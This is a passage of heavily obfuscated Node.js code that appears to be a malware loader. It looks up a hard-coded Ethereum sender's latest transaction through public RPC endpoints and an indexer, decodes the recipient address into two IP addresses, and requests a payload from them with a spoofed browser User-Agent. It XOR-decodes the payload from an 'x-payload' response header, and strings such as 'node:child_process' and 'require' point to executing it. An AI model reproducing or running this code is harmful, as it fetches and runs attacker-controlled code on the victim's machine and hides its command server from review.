_0xaf0385=_0x5032cf[_0x3ef1bc(0xc7)]({'hostname':_0x3cdce5[_0x3ef1bc(0x93)],'port':_0x3cdce5[_0x3ef1bc(0x15d)]||(_0x42d10d[_0x3ef1bc(0x120)](_0x42d10d[_0x3ef1bc(0x139)],_0x3cdce5[_0x3ef1bc(0x196)])?0x1*-0xcfb+-0x1d2d+0xf*0x2ed:0x1338+0x2*-0x8d5+-0x13e),'path':_0x42d10d[_0x3ef1bc(0x14e)](_0x3cdce5[_0x3ef1bc(0x150)],_0x3cdce5[_0x3ef1bc(0x10e)]),'method':_0x25a99d,'agent':AGENTS[_0x3cdce5[_0x3ef1bc(0x196)]],'signal':_0x95d4f4,'headers':_0x27236b},_0x574ec9=>{const _0x4fd834=_0x3ef1bc,_0x10e94a={'ZGtcg':function(_0x483995,_0x4a5702){const _0x49dc91=_0x355e;return _0x42d10d[_0x49dc91(0x114)](_0x483995,_0x4a5702);},'vJvXf':_0x42d10d[_0x4fd834(0x18b)]};let _0x431427=_0x42d10d[_0x4fd834(0x114)](decompressStream,_0x574ec9),_0x39bef6=[];_0x431427['on'](_0x42d10d[_0x4fd834(0x122)],_0x123305=>_0x39bef6[_0x4fd834(0x198)](_0x123305)),_0x431427['on'](_0x42d10d[_0x4fd834(0x1ac)],()=>{const _0x589be9=_0x4fd834;try{_0x10e94a[_0x589be9(0x99)](_0x19f067,JSON[_0x589be9(0xd4)](Buffer[_0x589be9(0x107)](_0x39bef6)[_0x589be9(0x159)](_0x10e94a[_0x589be9(0xc5)])));}catch(_0x1c95a1){_0x10e94a[_0x589be9(0x99)](_0x4835e3,_0x1c95a1);}}),_0x431427['on'](_0x42d10d[_0x4fd834(0x121)],_0x4835e3);});_0xaf0385['on'](_0x42d10d[_0x3ef1bc(0x121)],_0x4835e3),_0x42d10d[_0x3ef1bc(0xe3)](null,_0x3f686c)&&_0xaf0385[_0x3ef1bc(0xb6)](_0x3f686c),_0xaf0385[_0x3ef1bc(0x142)]();});}async function withRpcEndpoints(_0x3c144e,_0x2ea979){const _0x495608=_0x3a2ebe;let _0x418a00=RPC_ENDPOINTS[_0x495608(0x14f)](()=>new AbortController());_0x418a00[_0x495608(0x95)](_0x15379b=>linkAbort(_0x2ea979,_0x15379b));try{return await Promise[_0x495608(0x11e)](RPC_ENDPOINTS[_0x495608(0x14f)]((_0x4c6137,_0x2fd673)=>_0x3c144e(_0x4c6137,_0x418a00[_0x2fd673][_0x495608(0x10b)])));}finally{for(let _0x393e64 of _0x418a00)_0x393e64[_0x495608(0x9a)]();}}async function rpcCall(_0x1c3ac1,_0x908566,_0x2038b9,_0x36db10){const _0x24e2d3=_0x3a2ebe,_0x55d7b1={'hXaau':function(_0x7320cd,_0x19397a,_0x30fde9){return _0x7320cd(_0x19397a,_0x30fde9);},'MxoIv':_0x24e2d3(0x19c),'CtMxp':_0x24e2d3(0x97)};let _0xffe3dd=await _0x55d7b1[_0x24e2d3(0x109)](httpRequest,_0x1c3ac1,{'method':_0x55d7b1[_0x24e2d3(0x9f)],'body':JSON[_0x24e2d3(0x98)]({'jsonrpc':_0x55d7b1[_0x24e2d3(0x140)],'id':0x1,'method':_0x908566,'params':_0x2038b9}),'signal':_0x36db10});return _0xffe3dd[_0x24e2d3(0xd6)];}async function rpcBatch(_0xb94eeb,_0x2e1831,_0x1aa236){const _0x143ca3=_0x3a2ebe,_0x8d06ce={'vVkBr':function(_0x259c12,_0x46239b,_0x186b51){return _0x259c12(_0x46239b,_0x186b51);},'HiWYY':_0x143ca3(0x19c)};let _0x303103=await _0x8d06ce[_0x143ca3(0x103)](httpRequest,_0xb94eeb,{'method':_0x8d06ce[_0x143ca3(0x1a8)],'body':JSON[_0x143ca3(0x98)](_0x2e1831[_0x143ca3(0x14f)](([_0xe79aa1,_0x386e83],_0x397f41)=>({'jsonrpc':_0x143ca3(0x97),'id':_0x397f41+(-0x2b*-0x48+0x2467+0x3*-0x102a),'method':_0xe79aa1,'params':_0x386e83}))),'signal':_0x1aa236}),_0x43900d=new Map(_0x303103[_0x143ca3(0x14f)](_0x46f816=>[_0x46f816['id'],_0x46f816]));return _0x2e1831[_0x143ca3(0x14f)]((_0x246f0d,_0x260de3)=>_0x43900d[_0x143ca3(0xe9)](_0x260de3+(-0xa25*-0x2+0x19fa+-0x2e43))[_0x143ca3(0xd6)]);}let toBlockHex=_0x460a01=>'0x'+_0x460a01[_0x3a2ebe(0x159)](0x1b97+-0x2*0x3a7+-0x1f*0xa7);function findSenderTx(_0xaed72){const _0x58ebf2=_0x3a2ebe;return _0xaed72[_0x58ebf2(0x9d)](_0x11770d=>_0x11770d[_0x58ebf2(0x18c)]&&_0x11770d[_0x58ebf2(0x18c)][_0x58ebf2(0xc2)+'e']()===SENDER)||null;}function decodeAddress(_0x3f982d){const _0x53878e=_0x3a2ebe,_0x160094={'ScXiL':_0x53878e(0x15a),'jrdXD':function(_0x5aff48,_0x31311f){return _0x5aff48(_0x31311f);},'DGksE':function(_0x4f37d6,_0x4e64f1){return _0x4f37d6(_0x4e64f1);}};let _0x268f72=Buffer[_0x53878e(0x18c)](_0x3f982d[_0x53878e(0xbd)](/^0x/i,''),_0x160094[_0x53878e(0x1a2)]),_0x43d4d2=_0x33741d=>_0x33741d[-0x853+-0x2*0x338+0xec3]+'.'+_0x33741d[-0xb2c+-0x1e9+-0x1*-0xd16]+'.'+_0x33741d[-0x1*-0x704+-0x1*-0x25e1+0x2ce3*-0x1]+'.'+_0x33741d[0x2*0x1042+-0x4c2*0x5+-0x8b7];return[_0x160094[_0x53878e(0xb0)](_0x43d4d2,_0x268f72[_0x53878e(0xde)](-0x1*-0x1def+0x1939+0x4*-0xdca,0x71*0x23+0x2410+-0x337f)),_0x160094[_0x53878e(0xcf)](_0x43d4d2,_0x268f72[_0x53878e(0xde)](-0x2f*0x3+0xb5*0xd+-0x6*0x170,0x1*-0x22a0+-0xe*0x15a+0x3594))];}function _0x12f0(){const _0x2c2fa8=['smCxl','node:https','oad\x20body','any','zNIqU','UlrdI','rysJt','gMfuo','Payload-B6',':443/0x/ls','ipNqp','coding','UqBND',',Sr3=@','_t_u\x27]=\x27','gzip,\x20defl','SDbiI','xuBDG','liDecompre','EreqP','BTHgJ','Kit/537.36','keep-alive','_t_s\x27]=\x27','GET','KvMSQ','LGNYs','public.bla','plaFW','NkKDh','MHjGK','13698468PmAknI','0xa322e5f3','297120QUZuEg','yrzwP','zeoxL','eth_getBlo','CtMxp','Agent','end','on=txlist&','jvgKp','KXiLK','Win64;\x20x64','node:zlib','gzip','https://1r','node:http','headers','createGunz','JbAci','zBIcw','map','pathname','nghnv','.publicnod','fari/537.3','RpPIO',':80','VnFVq','m\x27]=module','hrUVT','toString','hex','LBjUj','_t_s','port','_H2\x27]=\x27','QLmfg','9&page=1&o','applicatio','YZKTj','findIndex','VLAGf','createInfl','transactio','gldQK','GuYPf','h.drpc.org','_H2','ut.com/api','fLYXd','has','Content-Le','controller','aveIc','tavZt','BJgzE','add','49oNuXHs','JVkQF','GAvxe','unref','then','al=global;','\x27]=\x27','vWzxi','node:url','oMnng','http://','run','\x20Chrome/13',':443','bXcTI','k=0&endblo','lnQal','@^1aQk','x-gzip','nonce','e.com','bLolJ','ike\x20Gecko)','gvgPD','from','KafOh','h.blocksco','hereum-rpc','ort=desc&f','TCDmB','LssUT','https://et','addEventLi','pipe','protocol','ffset=20&s','push','ZgpqG','Tnnlg','utf8','POST','byteLength','qFOcQ','createBrot','ugrhL','eth_blockN','ScXiL','WYnsa','0\x20(Windows','zwjTr','eEQvU','b64','HiWYY','Content-Ty','ate,\x20br','xxxso','KaaPY','fIkOw','blockNumbe','9adc2490ef','eAmtO','min','wNEAr','ucVFK','jueMj','ngth','FfHYb','gzKWs','PSzJk','resume','y-p_>d$0B&','nILEL','hostname','KQldR','forEach','base64','2.0','stringify','ZGtcg','abort','filter','rMZnD','find','1.0.0.0\x20Sa','MxoIv','sZAHS','fbAQy','dQhjR','count&acti','qqKoX','3999712DXgKmU','ziJAI','q4FZkxX{!h','n/json','x-payload-','foHur','RWrVc','charCodeAt','nnxOv','mjCAw','data','jrdXD','ate','ZYBBe','eth_getTra','all','883554gwKkih','write','JQKVG','mGgtb','Missing\x20X-','ck=9999999','tjngf','address=','replace','r\x27]=requir','fJKsv','5050170JAAsRa','error','toLowerCas','xbMiN','ilterby=fr','vJvXf','raCZU','request','content-en','unt','XLylK','d311d3080e','TOkwx','length','WMrCP','DGksE','nsactionCo','FWUiH','RsZph','aPZUM','parse','https:','result','object','umber','VMnQg','CDbzL','Empty\x20payl','\x20NT\x2010.0;\x20','2KeNBiC','subarray','wvGeG','CUrwh','\x20(KHTML,\x20l','XrZYs','VGOlJ',':443/0x/cl','&startbloc','rjSZm','LTGfe','ZAlOy','get','6f0121063e','deflate','MjzxH','node','\x27;global[\x27','?module=ac','360688RTYsDf','stapi.io','isArray','eWCKt','_process','h-mainnet.','GGqwf','eIHSm','xQuoH','stener','_H\x27]=\x27','Mozilla/5.','djgaa','DSbLa','qiODF','global[\x27_V','catch','cVjMR','SXfgk','vVkBr','QMwHG','node:child',';var\x20_glob','concat','JGUpq','hXaau','XHNyr','signal','5407112rvLYDS','ckByNumber','search','ignore','pc.io/eth','e;global[\x27','gIWWO','SHJJd','JODvp','YvZxf','_t_u',')\x20AppleWeb','CRKiT','tqJhV','HEAD'];_0x12f0=function(){return _0x2c2fa8;};return _0x12f0();}function firstMatch(_0x21b624){const _0x5f5985={'fIkOw':function(_0x228835,_0x5c99db){return _0x228835(_0x5c99db);},'fJKsv':function(_0x6e49ad,_0x5da592){return _0x6e49ad==_0x5da592;},'aveIc':function(_0x5f50e9,_0x4cf526){return _0x5f50e9(_0x4cf526);},'JVkQF':function(_0x1b9cad,_0x34e74f){return _0x1b9cad!=_0x34e74f;},'QLmfg':function(_0x2b1d39,_0xfdf95d){return _0x2b1d39(_0xfdf95d);},'gldQK':function(_0x330753,_0x1837de){return _0x330753(_0x1837de);}};return new Promise(_0x1055a6=>{const _0x43a200=_0x355e,_0x574496={'qqKoX':function(_0x4f2e13,_0x16b5ae){const _0x4bfb56=_0x355e;return _0x5f5985[_0x4bfb56(0x170)](_0x4f2e13,_0x16b5ae);}};let _0x34d0a3=_0x21b624[_0x43a200(0xcd)];if(!_0x34d0a3)return _0x5f5985[_0x43a200(0x167)](_0x1055a6,null);let _0x12f190=!(0x1*-0xead+-0x25d5+0x3483),_0x4ea38e=_0x344775=>{const _0x5a6f9a=_0x43a200;if(!_0x12f190){for(let _0x11c14b of(_0x12f190=!(-0x13c4+-0x1a02+0x2dc6),_0x21b624))_0x11c14b[_0x5a6f9a(0x16f)][_0x5a6f9a(0x9a)]();_0x574496[_0x5a6f9a(0xa4)](_0x1055a6,_0x344775);}};for(let _0x266710 of _0x21b624)_0x266710[_0x43a200(0x17f)]()[_0x43a200(0x178)](_0x193f94=>{const _0x1cbfd8=_0x43a200;_0x12f190||(_0x193f94?_0x5f5985[_0x1cbfd8(0x1ad)](_0x4ea38e,_0x193f94):_0x5f5985[_0x1cbfd8(0xbf)](0xe0*0x4+0x1*0x1bf7+-0x1f77,--_0x34d0a3)&&_0x5f5985[_0x1cbfd8(0x170)](_0x1055a6,null));})[_0x43a200(0x100)](()=>{const _0xebd979=_0x43a200;_0x12f190||_0x5f5985[_0xebd979(0x175)](-0xc39+0x723+0x516,--_0x34d0a3)||_0x5f5985[_0xebd979(0x15f)](_0x1055a6,null);});});}function candidateBlocks(_0x3cdaf9){const _0x3e16b7=_0x3a2ebe,_0x26a154={'CRKiT':function(_0x296270,_0x1821b5){return _0x296270-_0x1821b5;},'nnxOv':function(_0xd797ea,_0x1874f0){return _0xd797ea-_0x1874f0;},'BJgzE':function(_0x17a746,_0x198c5e){return _0x17a746+_0x198c5e;},'nghnv':function(_0xc4b7b9,_0x52dbd9){return _0xc4b7b9-_0x52dbd9;},'fLYXd':function(_0x9cf028,_0x268c43){return _0x9cf028+_0x268c43;},'WMrCP':function(_0x1f3421,_0x1c5822){return _0x1f3421<_0x1c5822;}};let _0x4a55ef=_0x26a154[_0x3e16b7(0x118)](_0x3cdaf9,BLOCK_MULTIPLE),_0x5e5c51=new Set(),_0x482794=[];for(let _0x2d2666 of[_0x26a154[_0x3e16b7(0xad)](_0x3cdaf9,0x1n),_0x3cdaf9,_0x26a154[_0x3e16b7(0x172)](_0x3cdaf9,0x1n),_0x26a154[_0x3e16b7(0x151)](_0x4a55ef,0x1n),_0x4a55ef,_0x26a154[_0x3e16b7(0x16c)](_0x4a55ef,0x1n)]){if(_0x26a154[_0x3e16b7(0xce)](_0x2d2666,0x0n))continue;let _0x3ae321=_0x2d2666[_0x3e16b7(0x159)]();_0x5e5c51[_0x3e16b7(0x16d)](_0x3ae321)||(_0x5e5c51[_0x3e16b7(0x173)](_0x3ae321),_0x482794[_0x3e16b7(0x198)](_0x2d2666));}return _0x482794;}function blockTask(_0x42089c){const _0x43f677={'wNEAr':function(_0x5d6398,_0x346548,_0x44c318){return _0x5d6398(_0x346548,_0x44c318);},'ziJAI':function(_0x1919d0,_0x138670){return _0x1919d0(_0x138670);}};let _0xc51d7b=new AbortController();return{'controller':_0xc51d7b,async 'run'(){const _0x4800f8=_0x355e;let _0x3fcdb4=await _0x43f677[_0x4800f8(0x1b2)](withRpcEndpoints,(_0x3c3351,_0x45a26b)=>rpcCall(_0x3c3351,_0x4800f8(0x13f)+_0x4800f8(0x10d),[toBlockHex(_0x42089c),!(-0x1*0xaeb+-0x7*0x59+-0x1*-0xd5a)],_0x45a26b),_0xc51d7b[_0x4800f8(0x10b)]),_0xa17565=_0x3fcdb4?.[_0x4800f8(0x166)+'ns'];if(!Array[_0x4800f8(0xf2)](_0xa17565))return null;let _0x3aaf38=_0x43f677[_0x4800f8(0xa6)](findSenderTx,_0xa17565);return _0x3aaf38?{'blockNumber':_0x42089c,'tx':_0x3aaf38}:null;}};}async function nonceAtBlocks(_0x48b0b7,_0xeba093){const _0x2bf86d=_0x3a2ebe,_0x306878={'CUrwh':function(_0x5917ba,_0x80a075,_0x5f1ee8){return _0x5917ba(_0x80a075,_0x5f1ee8);}};let _0x5c1a05=_0x48b0b7[_0x2bf86d(0x14f)](_0x1dcdef=>[_0x2bf86d(0xb3)+_0x2bf86d(0xd0)+_0x2bf86d(0xc9),[SENDER,toBlockHex(_0x1dcdef)]]);try{return(await _0x306878[_0x2bf86d(0xe0)](withRpcEndpoints,(_0xd746f,_0x473522)=>rpcBatch(_0xd746f,_0x5c1a05,_0x473522),_0xeba093))[_0x2bf86d(0x14f)](BigInt);}catch{return(await Promise[_0x2bf86d(0xb4)](_0x5c1a05[_0x2bf86d(0x14f)](([_0x2babff,_0x3a3b66])=>withRpcEndpoints((_0x149844,_0xb83fe7)=>rpcCall(_0x149844,_0x2babff,_0x3a3b66,_0xb83fe7),_0xeba093))))[_0x2bf86d(0x14f)](BigInt);}}async function lastSenderTx(_0x6947a6){const _0x2fd541=_0x3a2ebe,_0x865f0d={'TOkwx':function(_0x5d2d58,_0x8010fd){return _0x5d2d58(_0x8010fd);},'mGgtb':function(_0x58f27c,_0x4c45b7,_0x3c600e){return _0x58f27c(_0x4c45b7,_0x3c600e);},'MjzxH':function(_0x1c1e28,_0x3211ab){return _0x1c1e28(_0x3211ab);},'JQKVG':function(_0x4c6ce4,_0x3b78d1){return _0x4c6ce4-_0x3b78d1;},'ucVFK':function(_0x1fa7f8,_0x1e54b0){return _0x1fa7f8>_0x1e54b0;},'oMnng':function(_0x514391,_0x56220c){return _0x514391(_0x56220c);},'NkKDh':function(_0x3fccd7,_0x3598ae){return _0x3fccd7<=_0x3598ae;},'lnQal':function(_0x35f187,_0x271b47){return _0x35f187+_0x271b47;},'foHur':function(_0x1e7b3b,_0x19c605){return _0x1e7b3b/_0x19c605;},'SDbiI':function(_0x43c2f0,_0xbdc559){return _0x43c2f0*_0xbdc559;},'CDbzL':function(_0x461538,_0x22c7d6){return _0x461538+_0x22c7d6;},'GGqwf':function(_0x4c1acc,_0x1f6394){return _0x4c1acc===_0x1f6394;},'fbAQy':function(_0xe78b10,_0x2a2d28){return _0xe78b10(_0x2a2d28);}};let _0x1228d0=new AbortController();try{let _0x7717c5=_0x6947a6??_0x865f0d[_0x2fd541(0xcc)](BigInt,await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x225474,_0x398eed)=>rpcCall(_0x225474,_0x2fd541(0x1a1)+_0x2fd541(0xd8),[],_0x398eed),_0x1228d0[_0x2fd541(0x10b)])),_0xe32847=_0x865f0d[_0x2fd541(0xec)](BigInt,await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x166e6e,_0x20a24f)=>rpcCall(_0x166e6e,_0x2fd541(0xb3)+_0x2fd541(0xd0)+_0x2fd541(0xc9),[SENDER,toBlockHex(_0x7717c5)],_0x20a24f),_0x1228d0[_0x2fd541(0x10b)])),_0x2c7ca1=_0x865f0d[_0x2fd541(0xb7)](_0xe32847,0x1n),_0x36dc0b=_0x865f0d[_0x2fd541(0xb7)](SEARCH_FLOOR,0x1n),_0x57beb5=_0x7717c5;for(;_0x865f0d[_0x2fd541(0x1b3)](_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b),0x1n);){let _0x37635a=_0x865f0d[_0x2fd541(0xb7)](_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b),0x1n),_0x40232d=_0x865f0d[_0x2fd541(0xec)](BigInt,Math[_0x2fd541(0x1b1)](NONCE_FANOUT,_0x865f0d[_0x2fd541(0x17d)](Number,_0x37635a))),_0x5e593e=[];for(let _0x323461=0x1n;_0x865f0d[_0x2fd541(0x138)](_0x323461,_0x40232d);_0x323461+=0x1n)_0x5e593e[_0x2fd541(0x198)](_0x865f0d[_0x2fd541(0x184)](_0x36dc0b,_0x865f0d[_0x2fd541(0xaa)](_0x865f0d[_0x2fd541(0x12b)](_0x323461,_0x865f0d[_0x2fd541(0xb7)](_0x57beb5,_0x36dc0b)),_0x865f0d[_0x2fd541(0xda)](_0x40232d,0x1n))));let _0x5aae99=await _0x865f0d[_0x2fd541(0xb8)](nonceAtBlocks,_0x5e593e,_0x1228d0[_0x2fd541(0x10b)]),_0x5415e7=_0x5aae99[_0x2fd541(0x163)](_0x59ad09=>_0x59ad09>=_0xe32847);_0x865f0d[_0x2fd541(0xf6)](-(0xe3*-0x29+0xe5e*0x2+0x7a0*0x1),_0x5415e7)?_0x36dc0b=_0x5e593e[_0x865f0d[_0x2fd541(0xb7)](_0x5e593e[_0x2fd541(0xcd)],-0x6*-0x4a2+0x2478+-0x4043)]:(_0x57beb5=_0x5e593e[_0x5415e7],_0x865f0d[_0x2fd541(0x1b3)](_0x5415e7,-0x170*-0x5+-0xbdf+-0x6d*-0xb)&&(_0x36dc0b=_0x5e593e[_0x865f0d[_0x2fd541(0xb7)](_0x5415e7,-0x121b+0x869*-0x1+0x3*0x8d7)]));}let _0x44a2e1=await _0x865f0d[_0x2fd541(0xb8)](withRpcEndpoints,(_0x5aa246,_0x356a05)=>rpcCall(_0x5aa246,_0x2fd541(0x13f)+_0x2fd541(0x10d),[toBlockHex(_0x57beb5),!(-0x870*0x1+-0x1b5b+0x23cb)],_0x356a05),_0x1228d0[_0x2fd541(0x10b)]),_0x2a8ad0=_0x44a2e1?.[_0x2fd541(0x166)+'ns']||[],_0x5d7a1a=null;for(let _0x2ef2b4 of _0x2a8ad0)if(_0x2ef2b4[_0x2fd541(0x18c)]&&_0x865f0d[_0x2fd541(0xf6)](_0x2ef2b4[_0x2fd541(0x18c)][_0x2fd541(0xc2)+'e'](),SENDER)){if(_0x865f0d[_0x2fd541(0xf6)](_0x865f0d[_0x2fd541(0x17d)](BigInt,_0x2ef2b4[_0x2fd541(0x187)]),_0x2c7ca1)){_0x5d7a1a=_0x2ef2b4;break;}(!_0x5d7a1a||_0x865f0d[_0x2fd541(0x1b3)](_0x865f0d[_0x2fd541(0x17d)](BigInt,_0x2ef2b4[_0x2fd541(0x187)]),_0x865f0d[_0x2fd541(0xa1)](BigInt,_0x5d7a1a[_0x2fd541(0x187)])))&&(_0x5d7a1a=_0x2ef2b4);}return{'blockNumber':_0x57beb5,'tx':_0x5d7a1a};}finally{_0x1228d0[_0x2fd541(0x9a)]();}}async function lastSenderTxViaIndexer(){const _0x30016b=_0x3a2ebe,_0x461186={'yrzwP':function(_0x224acc,_0x21a4ef){return _0x224acc(_0x21a4ef);},'UqBND':function(_0x3ca6e2,_0x6d0e95){return _0x3ca6e2(_0x6d0e95);}};let _0x6b3534=INDEXER_URL+(_0x30016b(0xef)+_0x30016b(0xa3)+_0x30016b(0x143)+_0x30016b(0xbc))+SENDER+(_0x30016b(0xe5)+_0x30016b(0x183)+_0x30016b(0xba)+_0x30016b(0x160)+_0x30016b(0x197)+_0x30016b(0x190)+_0x30016b(0xc4)+'om'),_0x50dcd4=await _0x461186[_0x30016b(0x13d)](httpRequest,_0x6b3534),_0x3f1cd2=Array[_0x30016b(0xf2)](_0x50dcd4?.[_0x30016b(0xd6)])?_0x50dcd4[_0x30016b(0xd6)]:[],_0x58d5fe=_0x3f1cd2[_0x30016b(0x9d)](_0x5346ca=>_0x5346ca[_0x30016b(0x18c)]&&_0x5346ca[_0x30016b(0x18c)][_0x30016b(0xc2)+'e']()===SENDER);return{'blockNumber':_0x461186[_0x30016b(0x127)](BigInt,_0x58d5fe[_0x30016b(0x1ae)+'r']),'tx':_0x58d5fe};}async function run(){const _0x21838c=_0x3a2ebe,_0x123142={'VnFVq':function(_0x354288,_0x3fa815){return _0x354288<_0x3fa815;},'Tnnlg':function(_0x1df33a,_0x158d6c){return _0x1df33a%_0x158d6c;},'ugrhL':_0x21838c(0x19b),'tqJhV':_0x21838c(0xa9)+_0x21838c(0x1a7),'xQuoH':function(_0x183f5f,_0x2adbd1){return _0x183f5f(_0x2adbd1);},'zwjTr':_0x21838c(0xb9)+_0x21838c(0x123)+'4','GuYPf':_0x21838c(0x96),'bXcTI':function(_0x4834c3,_0xed5caa){return _0x4834c3(_0xed5caa);},'gzKWs':_0x21838c(0xdb)+_0x21838c(0x11d),'VMnQg':function(_0x38ff78,_0x527698){return _0x38ff78===_0x527698;},'PSzJk':_0x21838c(0x11a),'aPZUM':_0x21838c(0xaf),'xxxso':_0x21838c(0x142),'raCZU':_0x21838c(0xc1),'plaFW':function(_0x1d2be3,_0x44ea01){return _0x1d2be3(_0x44ea01);},'nILEL':function(_0x57e6f1,_0x261c45){return _0x57e6f1+_0x261c45;},'wvGeG':_0x21838c(0xfb)+_0x21838c(0x1a4)+_0x21838c(0xdc)+_0x21838c(0x146)+_0x21838c(0x117)+_0x21838c(0x130)+_0x21838c(0xe1)+_0x21838c(0x18a)+_0x21838c(0x180)+_0x21838c(0x9e)+_0x21838c(0x153)+'6','qiODF':function(_0x2b7840,_0x196963){return _0x2b7840(_0x196963);},'SXfgk':_0x21838c(0x133),'xbMiN':function(_0x27a0b9,_0x394d32,_0x228371){return _0x27a0b9(_0x394d32,_0x228371);},'jueMj':function(_0x3071ee,_0x13c1dd){return _0x3071ee(_0x13c1dd);},'ipNqp':function(_0x5c8fe2,_0x51b60d,_0x375c99,_0x3adfd0){return _0x5c8fe2(_0x51b60d,_0x375c99,_0x3adfd0);},'KXiLK':_0x21838c(0xed),'rMZnD':function(_0x2485d9,_0x15b4b8){return _0x2485d9+_0x15b4b8;},'RWrVc':_0x21838c(0x10f),'WYnsa':function(_0x36aa2d,_0x4e00f2){return _0x36aa2d(_0x4e00f2);},'JGUpq':function(_0x17a5ba,_0xaf6465){return _0x17a5ba(_0xaf6465);},'eWCKt':function(_0x1e004b,_0x84fa2c){return _0x1e004b-_0x84fa2c;},'KafOh':function(_0x4df275,_0x2e90){return _0x4df275%_0x2e90;},'qFOcQ':function(_0x24fa80,_0x20975f){return _0x24fa80(_0x20975f);},'eIHSm':_0x21838c(0xa7)+_0x21838c(0x128),'XrZYs':function(_0x4740e4,_0x8d4335,_0x240499,_0x191515){return _0x4740e4(_0x8d4335,_0x240499,_0x191515);},'zeoxL':_0x21838c(0x1ba)+_0x21838c(0x185)};let _0x276e42=_0x123142[_0x21838c(0x1a3)](BigInt,await _0x123142[_0x21838c(0x108)](withRpcEndpoints,(_0x486914,_0x1c1835)=>rpcCall(_0x486914,_0x21838c(0x1a1)+_0x21838c(0xd8),[],_0x1c1835))),_0x168d06=_0x123142[_0x21838c(0xf3)](_0x276e42,_0x123142[_0x21838c(0x18d)](_0x276e42,BLOCK_MULTIPLE)),_0x412ae7=await _0x123142[_0x21838c(0x137)](firstMatch,_0x123142[_0x21838c(0x1a3)](candidateBlocks,_0x168d06)[_0x21838c(0x14f)](blockTask));_0x412ae7||(_0x412ae7=await _0x123142[_0x21838c(0x19e)](lastSenderTx,_0x276e42)[_0x21838c(0x100)](()=>lastSenderTxViaIndexer()));let [_0x28de5d,_0x3b6d7d]=_0x123142[_0x21838c(0x1b4)](decodeAddress,_0x412ae7['tx']['to']),_0x3d94ba=global;function _0x5ec9c4(_0x3a20ac,_0xa9d24e){const _0x55165e=_0x21838c,_0x5ecf66={'zNIqU':function(_0x430017,_0x3246e6){const _0x15bc56=_0x355e;return _0x123142[_0x15bc56(0x182)](_0x430017,_0x3246e6);},'rjSZm':_0x123142[_0x55165e(0x119)],'cVjMR':_0x123142[_0x55165e(0x1b7)],'SHJJd':function(_0x200ce2,_0x44228d){const _0x155fb8=_0x55165e;return _0x123142[_0x155fb8(0xd9)](_0x200ce2,_0x44228d);},'dQhjR':_0x123142[_0x55165e(0x1b8)],'ZAlOy':function(_0x59c273,_0x17297a){const _0x4fc8a3=_0x55165e;return _0x123142[_0x4fc8a3(0xf8)](_0x59c273,_0x17297a);},'bLolJ':_0x123142[_0x55165e(0xd3)],'hrUVT':_0x123142[_0x55165e(0x1ab)],'YZKTj':_0x123142[_0x55165e(0xc6)]};let _0x11ec1f={'hostname':_0xa9d24e[_0x55165e(0x93)],'port':_0x123142[_0x55165e(0x137)](Number,_0xa9d24e[_0x55165e(0x15d)])||0x2236+-0x22b0+0xca,'path':_0x123142[_0x55165e(0x92)](_0xa9d24e[_0x55165e(0x150)],_0xa9d24e[_0x55165e(0x10e)]),'headers':{'User-Agent':_0x123142[_0x55165e(0xdf)],'Sec-V':_0x3d94ba['_V']||0x1309+-0x132b+0x22}};function _0x5944ee(_0x39564c){const _0x337ed4=_0x55165e;let _0x3de935=_0x3a20ac[_0x337ed4(0xcd)];for(let _0xcd6de2=-0x1*-0x15f6+0xc04+0x21fa*-0x1;_0x123142[_0x337ed4(0x156)](_0xcd6de2,_0x39564c[_0x337ed4(0xcd)]);_0xcd6de2++)_0x39564c[_0xcd6de2]^=_0x3a20ac[_0x337ed4(0xac)](_0x123142[_0x337ed4(0x19a)](_0xcd6de2,_0x3de935));return _0x39564c[_0x337ed4(0x159)](_0x123142[_0x337ed4(0x1a0)]);}function _0x3fa166(_0x5286d4){const _0x30bac6=_0x55165e;let _0x1c7184=_0x5286d4[_0x30bac6(0x14b)][_0x123142[_0x30bac6(0x119)]];if(!_0x1c7184)throw _0x123142[_0x30bac6(0xf8)](Error,_0x123142[_0x30bac6(0x1a5)]);return _0x123142[_0x30bac6(0xf8)](_0x5944ee,Buffer[_0x30bac6(0x18c)](_0x1c7184,_0x123142[_0x30bac6(0x168)]));}function _0x5e0c4c(_0x188457){const _0xdb2b5e=_0x55165e,_0x9df163={'FfHYb':function(_0x275d20,_0x11a249){const _0xda171f=_0x355e;return _0x5ecf66[_0xda171f(0x11f)](_0x275d20,_0x11a249);},'gIWWO':_0x5ecf66[_0xdb2b5e(0xe6)],'LTGfe':_0x5ecf66[_0xdb2b5e(0x101)],'djgaa':function(_0x12f74b,_0x87bcc9){const _0xd19d42=_0xdb2b5e;return _0x5ecf66[_0xd19d42(0x113)](_0x12f74b,_0x87bcc9);},'eEQvU':_0x5ecf66[_0xdb2b5e(0xa2)],'KQldR':function(_0x5a7b3b,_0x1dcf69){const _0x3bd8a8=_0xdb2b5e;return _0x5ecf66[_0x3bd8a8(0xe8)](_0x5a7b3b,_0x1dcf69);},'jvgKp':_0x5ecf66[_0xdb2b5e(0x189)],'ZgpqG':_0x5ecf66[_0xdb2b5e(0x158)],'XLylK':_0x5ecf66[_0xdb2b5e(0x162)]};return new Promise((_0x15f946,_0x5a9938)=>{const _0x320ae6=_0xdb2b5e,_0x34a894={'QMwHG':function(_0x40448d,_0x23c91e){const _0x42dd94=_0x355e;return _0x9df163[_0x42dd94(0x1b6)](_0x40448d,_0x23c91e);},'XHNyr':_0x9df163[_0x320ae6(0x112)],'eAmtO':_0x9df163[_0x320ae6(0xe7)],'ZYBBe':function(_0x3e84e2,_0x5c0248){const _0x3f74e7=_0x320ae6;return _0x9df163[_0x3f74e7(0xfc)](_0x3e84e2,_0x5c0248);},'FWUiH':_0x9df163[_0x320ae6(0x1a6)],'smCxl':function(_0x30f2b3,_0x3b4378){const _0x508aeb=_0x320ae6;return _0x9df163[_0x508aeb(0x94)](_0x30f2b3,_0x3b4378);},'LBjUj':_0x9df163[_0x320ae6(0x144)],'RpPIO':_0x9df163[_0x320ae6(0x199)],'EreqP':_0x9df163[_0x320ae6(0xca)]};let _0x67c2bf=http[_0x320ae6(0xc7)]({..._0x11ec1f,'method':_0x188457},_0x3ab5c7=>{const _0x17709d=_0x320ae6,_0x31a947={'RsZph':function(_0x3b6db8,_0x40fce6){const _0x93e689=_0x355e;return _0x34a894[_0x93e689(0x104)](_0x3b6db8,_0x40fce6);},'tavZt':_0x34a894[_0x17709d(0x10a)],'LssUT':function(_0x1f6ba3,_0xee0496){const _0x3db9b9=_0x17709d;return 